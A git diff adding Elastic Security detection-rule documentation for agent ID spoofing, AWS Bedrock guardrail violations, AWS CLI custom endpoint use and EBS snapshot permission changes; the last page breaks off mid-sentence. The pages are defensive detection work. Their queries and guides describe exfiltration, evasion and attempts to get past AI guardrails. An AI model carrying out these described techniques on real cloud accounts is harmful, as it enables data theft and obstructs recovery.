diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-agent-spoofing-mismatched-agent-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-agent-spoofing-mismatched-agent-id.asciidoc new file mode 100644 index 0000000000..addf6c9d97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-agent-spoofing-mismatched-agent-id.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-10-agent-spoofing-mismatched-agent-id]] +=== Agent Spoofing - Mismatched Agent ID + +Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-* +* metrics-* +* traces-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 104 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Agent Spoofing - Mismatched Agent ID* + + +In security environments, agent IDs uniquely identify software agents that report events. Adversaries may spoof these IDs to disguise unauthorized activities, evading detection systems. The detection rule identifies discrepancies between expected and actual agent IDs, flagging potential spoofing attempts. By monitoring for mismatches, it helps uncover efforts to masquerade malicious actions as legitimate. + + +*Possible investigation steps* + + +- Review the event logs to identify the specific events where the agent_id_status is marked as "agent_id_mismatch" or "mismatch" to understand the scope and frequency of the issue. +- Correlate the mismatched agent IDs with the associated API keys to determine if there are any patterns or commonalities that could indicate a targeted spoofing attempt. +- Investigate the source IP addresses and user accounts associated with the mismatched events to identify any unauthorized access or suspicious activity. +- Check for any recent changes or anomalies in the configuration or deployment of agents that could explain the mismatches, such as updates or reassignments. +- Analyze historical data to determine if similar mismatches have occurred in the past and whether they were resolved or linked to known issues or threats. +- Consult with the IT or security team to verify if there are any legitimate reasons for the agent ID discrepancies, such as testing or maintenance activities. + + +*False positive analysis* + + +- Legitimate software updates or patches may temporarily cause agent ID mismatches. Users should verify if the mismatches coincide with scheduled updates and consider excluding these events if confirmed. +- Network configuration changes, such as IP address reassignments, can lead to mismatches. Ensure that network changes are documented and correlate with the mismatched events before excluding them. +- Virtual machine snapshots or clones might result in duplicate agent IDs. Users should track virtual machine activities and exclude events from known snapshot or cloning operations. +- Load balancing or failover processes in high-availability environments can cause agent ID discrepancies. Review the infrastructure setup and exclude events that align with these processes. +- Testing environments often simulate various agent activities, leading to mismatches. Clearly separate test environments from production in monitoring systems and exclude test-related events. + + +*Response and remediation* + + +- Immediately isolate the affected systems to prevent further unauthorized access or data exfiltration. This can be done by disconnecting the system from the network or using network segmentation techniques. +- Conduct a thorough review of the logs and events associated with the mismatched agent ID to identify any unauthorized changes or activities. Focus on the specific events flagged by the detection rule. +- Revoke and reissue API keys associated with the compromised agent ID to prevent further misuse. Ensure that new keys are distributed securely and only to authorized personnel. +- Implement additional monitoring on the affected systems and related network segments to detect any further attempts at agent ID spoofing or other suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat actor has compromised other parts of the network. +- Review and update access controls and authentication mechanisms to ensure that only legitimate agents can report events. Consider implementing multi-factor authentication for added security. +- Document the incident, including all actions taken, and conduct a post-incident review to identify any gaps in detection or response. Use this information to enhance future threat detection and response capabilities. + +==== Rule query + + +[source, js] +---------------------------------- +event.agent_id_status:(agent_id_mismatch or mismatch) and not host.name:agentless-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc new file mode 100644 index 0000000000..1c315e5403 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-10-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request]] +=== AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request + +Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account and the user request that caused multiple policy violations and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy action field +| mv_expand gen_ai.policy.action + +// Filter for policy-blocked requests +| where gen_ai.policy.action == "BLOCKED" + +// count number of policy matches per request (multi-valued) +| eval Esql.ml_policy_violations_mv_count = mv_count(gen_ai.policy.name) + +// Filter for requests with more than one policy match +| where Esql.ml_policy_violations_mv_count > 1 + +// keep relevant fields +| keep + gen_ai.policy.action, + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Aggregate requests with multiple violations +| stats + Esql.ml_policy_violations_total_unique_requests_count = count(*) + by + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// sort by number of unique requests +| sort Esql.ml_policy_violations_total_unique_requests_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-cli-command-with-custom-endpoint-url.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-cli-command-with-custom-endpoint-url.asciidoc new file mode 100644 index 0000000000..5974498330 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-cli-command-with-custom-endpoint-url.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-10-aws-cli-command-with-custom-endpoint-url]] +=== AWS CLI Command with Custom Endpoint URL + +Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/scarleteel-2-0/ + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS CLI Command with Custom Endpoint URL* + + +The AWS CLI allows users to interact with AWS services via command-line, offering flexibility in managing cloud resources. The `--endpoint-url` option lets users specify alternative endpoints, which can be exploited by adversaries to reroute requests to malicious servers, bypassing security controls. The detection rule identifies such misuse by monitoring for the `--endpoint-url` argument in process logs, flagging potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the process logs to identify the specific command line that triggered the alert, focusing on the presence of the --endpoint-url argument. +- Investigate the custom endpoint URL specified in the command to determine if it is a known malicious or unauthorized domain. +- Check the user account associated with the process to assess if it has a history of suspicious activity or if it has been compromised. +- Analyze network logs to trace any outbound connections to the custom endpoint URL and evaluate the data being transmitted. +- Correlate the event with other security alerts or logs to identify any patterns or additional indicators of compromise related to the same user or endpoint. +- Verify if the AWS credentials used in the command have been exposed or misused in other contexts, potentially indicating credential theft or abuse. + + +*False positive analysis* + + +- Internal testing environments may use custom endpoint URLs for development purposes. To manage this, create exceptions for known internal IP addresses or domain names associated with these environments. +- Organizations using AWS CLI with custom endpoints for legitimate third-party integrations might trigger this rule. Identify and whitelist these specific integrations by their endpoint URLs to prevent false positives. +- Automated scripts or tools that interact with AWS services through custom endpoints for monitoring or backup purposes can be flagged. Review and document these scripts, then exclude them from detection by process name or specific endpoint URL. +- Some organizations may use proxy servers that require custom endpoint URLs for AWS CLI operations. Verify these configurations and exclude the associated endpoint URLs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Review process logs and network traffic to identify any data that may have been redirected to unauthorized endpoints and assess the extent of potential data exposure. +- Revoke any AWS credentials or access keys used on the affected system to prevent further misuse and rotate them with new credentials. +- Conduct a thorough investigation to determine if any other systems have been compromised or if similar unauthorized endpoint usage has occurred elsewhere in the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment or remediation actions are necessary. +- Implement network-level controls to block known malicious endpoints and enhance monitoring for unusual AWS CLI usage patterns across the environment. +- Update security policies and endpoint protection configurations to detect and alert on the use of custom endpoint URLs in AWS CLI commands, ensuring rapid response to future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type: "linux" and event.category: "process" and process.name: "aws" and process.args: "--endpoint-url" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-access-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-access-removed.asciidoc new file mode 100644 index 0000000000..954e2d0775 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-access-removed.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-access-removed]] +=== AWS EC2 EBS Snapshot Access Removed + +Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 EBS Snapshot Access Removed* + + +This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. + + +*Possible investigation steps:* + + +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host. +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. + - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. + - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. + - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe. +- **Correlate with other activities**: + - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. + - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. + - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. + - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. + - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes. +- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign. + + +*False positive analysis:* + + +- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. +- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. +- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating. + +If the action was expected, document the change approval and reconcile against internal audit or change-control systems. + + +*Response and remediation:* + + +**1. Containment and validation** +- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). +- Confirm that no additional snapshots or AMIs have had access removed. +- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles. +**2. Investigate for data destruction or persistence** +- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). +- Review subsequent volume creation or image registration events that could indicate snapshot reuse. +- Identify whether any snapshot was shared to or copied by an external AWS account. +**3. Strengthen detection and monitoring** +- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. +- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. +- Correlate future detections with user identity and source IP context to identify recurring behavior. +**4. Recovery and hardening** +- Verify that critical snapshots and backups are retained and encrypted. +- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. +- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. +- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "remove=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc new file mode 100644 index 0000000000..1858875989 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-10-aws-ec2-ebs-snapshot-shared-or-made-public]] +=== AWS EC2 EBS Snapshot Shared or Made Public + +Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 EBS Snapshot Shared or Made Public* + + +This rule detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots store copies of data volumes that may contain sensitive or regulated information. Adversaries may exploit the `ModifySnapshotAttribute` API to share these snapshots externally, allowing them to copy and access the data in an environment they control. This activity is commonly associated with data exfiltration or persistence techniques, where attackers transfer data outside the victim account or prepare backups they can later retrieve. Public sharing (`group=all`) represents a severe data exposure risk, as it makes the snapshot globally readable. + + +*Possible investigation steps:* + + +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who modified the snapshot’s permissions. Evaluate whether this identity is authorized to share EBS snapshots (check IAM policies for `ec2:ModifySnapshotAttribute`). +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An unfamiliar or external location may indicate compromised credentials or unauthorized access. Review `user_agent.original` to confirm whether the request originated from an expected administrative tool or host. +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to determine which AWS account(s) were added to the `createVolumePermission` list. + - If the account ID matches the snapshot owner’s account, this is redundant and typically non-malicious. + - If another account ID or `group=all` appears, verify whether the target is an approved AWS Organization account or an external party. + - Cross-check the affected `snapshotId` in the AWS console or via CLI (`describe-snapshot-attribute`) to confirm current sharing status. + - Identify whether other snapshots or AMIs were shared in the same timeframe. +- **Correlate with other activities**: + - Search CloudTrail for related events involving the same actor or `source.ip`. + - Look for `CreateSnapshot`, `CopySnapshot`, `ExportImage`, or `PutBucketAcl` events that could indicate broader exfiltration or replication behavior. + - Correlate with detections such as `EBS Snapshot Access Removed` or `EBS Encryption Disabled`, which may signal a coordinated campaign involving both exfiltration and impact. + - Check GuardDuty and Security Hub for findings related to data exposure, cross-account sharing, or unauthorized data transfer. +- **Evaluate timing and intent**: Compare `@timestamp` against scheduled maintenance or approved change windows. Actions performed outside business hours or without documented change tickets should be prioritized for review. + + +*False positive analysis:* + + +- **Authorized internal sharing**: Confirm if the snapshot sharing was part of an approved workflow, such as internal replication or migration between AWS Organization accounts. +- **Automated replication or tooling**: Infrastructure-as-code or backup automation may temporarily share snapshots for cross-region or cross-account transfers. Verify automation identifiers, source IPs, and tags. +- **Self-account addition**: Adding the owner’s own account ID to `createVolumePermission` has no operational impact and can be safely ignored. + +If verified as legitimate, document the event under change management and reconcile it against organizational policies for snapshot sharing. + + +*Response and remediation:* + + +**1. Containment and validation** +- If unauthorized, immediately remove added permissions using the AWS CLI: + `aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Remove=[{UserId=}]"` +- Revoke public sharing (`group=all`) to prevent external access. +- Restrict `ec2:ModifySnapshotAttribute` permissions to trusted administrative roles only. +**2. Investigate for data exfiltration or persistence** +- Determine whether the shared snapshot was copied to another account (`CopySnapshot`). +- Engage AWS Support if evidence suggests external copying or data theft. +- Review subsequent API calls or IAM changes for further persistence or data movement. +**3. Strengthen detection and monitoring** +- Enable AWS Config rules such as `ebs-snapshot-public-restorable-check`. +- Implement continuous monitoring for `ModifySnapshotAttribute` and `CopySnapshot` operations. +- Correlate future detections by actor, access key, and source IP to identify repeated or automated exfiltration attempts. +**4. Recovery and hardening** +- Enable default encryption and validate that all snapshots remain private. +- Apply Service Control Policies (SCPs) to prevent public snapshot sharing organization-wide. +- Audit existing snapshots to ensure no others have unauthorized permissions. +- Implement least-privilege IAM principles and enforce multi-factor authentication (MFA) for administrative accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: reference playbooks for investigating data exfiltration and unauthorized access. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: example framework for developing custom playbooks for snapshot configuration and data protection. +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "add=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-encryption-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-encryption-disabled.asciidoc new file mode 100644 index 0000000000..1fc72d2bee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-ec2-encryption-disabled.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-10-aws-ec2-encryption-disabled]] +=== AWS EC2 Encryption Disabled + +Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 Encryption Disabled* + + +Amazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. +When encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. +This action can have serious security implications as it can weaken the organization’s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls. + + +*Possible investigation steps* + + +**Identify the initiator and context** +- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. + - Examine the `user_identity.type` (e.g., 